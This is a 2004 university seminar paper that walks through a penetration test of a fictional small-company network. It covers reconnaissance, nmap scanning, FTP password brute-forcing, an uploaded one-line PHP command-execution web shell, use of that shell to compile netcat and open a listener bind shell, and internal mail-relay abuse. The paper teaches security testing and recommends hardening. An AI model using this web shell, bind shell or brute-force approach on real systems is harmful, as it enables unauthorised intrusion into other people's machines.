Testing of Network and System Security

Introduction

The term 'security' when applied to computer networks conveys a plethora of meanings, ranging from network security to process and information security – the security of business processes and information handled therein. Likewise, 'testing' said security cannot be narrowed down to simple methods, but has to be adjusted to the type of security it is applied to, to the answers one needs, to time and cost restraints and – possibly the most important point – to the person interested in the answers. While several approaches[1] for a methodology of testing have been put forward and though there are numerous introductory documents as well as checklists[2] available, the field remains rather overwhelming.

This document, written as a paper for the 2004 Security Seminar at Humboldt University, Berlin, aims at giving hints on how to tackle the complex task of testing a network's security. We will lay out a simple scenario, designed with several security holes, and perform a rudimentary penetration test. To really get a grasp on how secure a system is, one has to try every conceivable way to break into it. Time and space constraints as well as limits on what we can model in the network prevent us from doing such a test, so in order to achieve greater detail in what we actually do we will only follow one way and give hints of possible other routes at the various steps.

The Scenario

We will look at a small network scenario, of the type that provides internet and intranet access as well as the company website for medium-sized businesses such as designers or architects. This will typically consist of several servers and a number of intranet clients and can be expected to have at least one firewall as protection against internet based attacks. In our example the fictional target network will be named "www.architekten.de".

With the growing importance of mobile computing one could also assume several notebook clients and consequently a wireless network.
Note: We ignore this possibility here. In a real-world example, looking at this network would be a very important part of the security test. Insecure configurations of WLANs are a very common occurence, and breaking into the intranet through wireless access is often much easier than performing an external attack.

Step 1: Gathering Public Information

In most cases, there are several public sources of information such as WHOIS entries, the company website and press releases, postings and documents strewn around the internet, about the target. Exploring these is useful in at least three ways: First, it can already uncover holes in the security. When a company's internal product descriptions are available on their web server or can be found through search engines, then there is obviously no need to break into the system.
Note: This can be seen as an aspect of process and information security. In our example there are no such obvious holes, but in a larger setting one should definitely look for them.

[1] One example being the Open Source Security Testing Manual, `http://www.osstmm.org`.
[2] The Reconnaissance CheatSheet `http://secguru.com/index.php/content/view/12`, for example.

Second, we can gain valuable information for social engineering. Knowledge of names, e-mail addresses and tasks assigned to various employees is useful in feigning identities in order to gain access to the network or to internal documents.
Note: Because our scenario comprises only a network of computers without real humans we will not follow this road here.

Third, tidbits found thereby can often help leverage subsequent attacks. In our example, while browsing the company website, we find a password protected part called 'Internes'. As in most cases, the username as well as the password are made to be easily memorizable, here, through a few attempts we find the pair to be "buero/andrea" – "andrea" being the first name of the system administrator. On the protected page there is an announcement of a Freeciv deathmatch, giving a tip on how to configure the client to be able to join from home: "Use port 5555." In itself this does not give us much, but we will note it for later use.

Our target did only exhibit one security flaw, the easily guessable password for the internal page.

Step 2: Extract basic system information

We are now interested in more technical details of the target system: How is the network structured? Which Operating Systems are powering the machines? Which services are provided?

To answer these, we have to scan the system, employing either an automated test as provided by the Nessus network security scanner [3] or a manual test. Nessus would quickly provide us with a complete report of the hosts and associated services it encountered. When told so, it would even test the services for known vulnerabilities and enrich the report by information regarding the fixing of these holes.
Note: While Nessus can be very useful for gaining information it also poses the risk of crashing the target system. Furthermore, its very core concept depends on holes being known, so a hole created by configuration mistakes will often be overlooked, simply because humans are much more creative than computer programs. A positive Nessus report can therefore not provide a substitute for a human-performed test.

In our example we do a combination of automated and manual test. We first scan the system using Nessus with Dangerous Modules disabled. The main use of the report generated here lies in giving us information about the programs that provide the services found.

Even though Nessus' output already gives us most of what we will get when using the popular network scanner nmap,[4] we briefly show this alternative:

```
# nmap -sS -sR -sV -O -vv www.architekten.de

Interesting ports on www.architekten.de (192.168.0.50):
(The 1655 ports scanned but not shown below are in state:
closed)
PORT STATE SERVICE VERSION
21/tcp open ftp
```

[3] http://www.nessus.org
[4] http://www.insecure.org/nmap

```
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 1.3.29 ((Unix) PHP/3.0.18)
110/tcp open pop3 Courier Pop3
```

This provides us with the information that the target host has DNS, FTP, HTTP, SMTP and POP3 running. Trying to identify the OS does not give a clear answer.

Since nmap is usually pretty accurate in its guessings, we can assume to be talking to a firewall behind which several servers are located. To test this, we will let nmap fingerprint the OS by using single ports as well as combinations, with the rationale that certain services are commonly run on the same machine:

```
# nmap -sS -sR -sV -O -vv -p 25,110 www.architekten.de
```

Repeating this with the combination of ports 21 and 80 leaves us with the knowledge that we are in fact talking to two servers, one running Linux and providing Mail functionality, the other running FreeBSD and acting as an FTP/WWW server. We also know that FTP is provided by OpenFTPD, WWW is provided by Apache, SMTP and POP3 are handled by Postfix and Courier, respectively.

Step 3: Trying to compromise the system

We now look for a way to compromise this system. The Linux server seems quite secure on first sight. Postfix is known as an easy to configure and higly secure mailserver. As of today we know of no exploitable security-holes. We try to send an unauthorized mail from outside to check wether it can be abused as an open relay for spamming. This attempt is rejected.
Note: we could proceed with checking the pop3 server for holes such as buffer-overflows and weak passwords. The first would possibly allow us to gain remote access or to launch a denial of service attack. The second would give us a possibility to read the employees' e-mail. Since we will do a like attack on another service we will not demonstrate this here.

We now focus on the FreeBSD machine running Apache and OpenFTPD. From the Nessus report we know that this Apache runs PHP in a vulnerable version. We could try to directly exploit weaknesses. Likewise we could also attempt to gain root access through one of the many exploitable format string vulnerabilities recently discovered in OpenFTPD. Instead, we try a less invasive attack since we do not want to crash any service.

The type of attack shwon here has been described by Peter van Dijk[5]. It relies on uploading a PHP script that executes commands passed to it as parameters. This is than used to open a remote shell owned by the unprivileged www user.

First we need an ftp login. Encouraged by the weak password for the internal website of the company we choose to launch a brute force attack against the ftp daemon. We use the employees' names as found on the website and severeal standard logins such as root, www and admin. The password cracker John the Ripper[6] can generate lists of common passwords from a given wordlist:

[5] Peter van Dijk, How apache.org was defaced, `http://www.megasecurity.org/Info/apache.org.txt`

[6] `http://www.openwall.com/john`

```
# john -w:users -rules -stdout:8 > passwd
```

We then try to login using all user/password pairs from both lists. Fortunately this succeeds with the password "admin" for the user "www". Connecting this account reveals the www root directory open with read/write access. We now upload the PHP script "wuh.php3":

```
<? passthru($cmd); ?>
```

To test it we connect to the script:

```
# lynx http://www.architekten.de/wuh.php3?cmd=uname+-a
```

and receive the usual "uname" output of FreeBSD.

This script already gives us rather high privileges on the remote system, but we still need a shell to dig deeper into the network which would be rather complicated this way. We now upload a netcat source package, extract, compile and execute it:

```
# lynx www.architekten.de/wuh.php3?cmd=tar+-xzf+nc.tgz
# lynx www.architekten.de/wuh.php3?cmd=make+freebsd
# lynx www.architekten.de/wuh/php3?cmd=./nc+-p+5555+-l+\
-e+/bin/sh
```

We utilize port 5555 since we suspect the firewall still allows it through to the server. On our attack system we issue the command:

```
$ uname
Linux
$ netcat www.architekten.de 5555

uname
FreeBSD
```

Note: We did not attempt every conceivable way to gain access. Furthermore we omit the whole process of privilege escalation. In a real world scenario both aspects would have to be tested.

Step 4: Utilizing the shell

Using the now interactive access to the system we thoroughly check the FreeBSD box as limited by the privileges of the www account. These allow us to enumerate running services, read their configuration files and some of the logs. This gives us a decent knowledge of the intranet behind the DMZ. Furthermore we find that the internal file server (Samba) runs on this machine. We can access its contents thus recieve profound information on the organisation. Most likely all the company's working data is compromised.

Inside the DMZ we use nmap to complete our knowledge infrastructure of the network behind the firewall:[7]

```
nmap -sP 192.168.0.1-254
```

Note: There are many more ways to attack the network from an internal position. We only show one, the exploitation of internal trust relationships, detailed using the example of the mailserver.

Remembering that relaying was denied from outside the local network we now retry it:

```
telnet mail 25
helo mail
mail from: bush@whitehouse.gov
rcpt to: gates@microsoft.com
data
.
quit
Message accepted for delivery
```

Of course this poses a great risk to the company's reputation as well as to its security.

Note: The last two steps would consist of trying to compromise internal hosts and to write a detailed report about the methology used and the issues found. We should also point at ways to improve security.

Conclusion

We hope to have succeeded in showing how a reasonably secure network can be compromised through several trivial weaknesses by a human attacker. Most of these may have been found by automated scanning, but their real impact only shows when they are exploited in a creative way.

Had we not been able to brute-force access to the internal site as well as to the FTP server, we would have had to resort to using an exploit against one of the servers – an attack which can easily be avoided by keeping the software up-to-date. If the firewall had not been configured in such a way as to still forward the now unused Freeciv port, we would not have been able to connect to the remote shell.

So this paper demonstrates once again that security must be enforced in all details of a network since a real attacker will always find and combine weak spots to attain his goal.

[7] In case nmap is not installed here we could upload a statically linked version as shown above.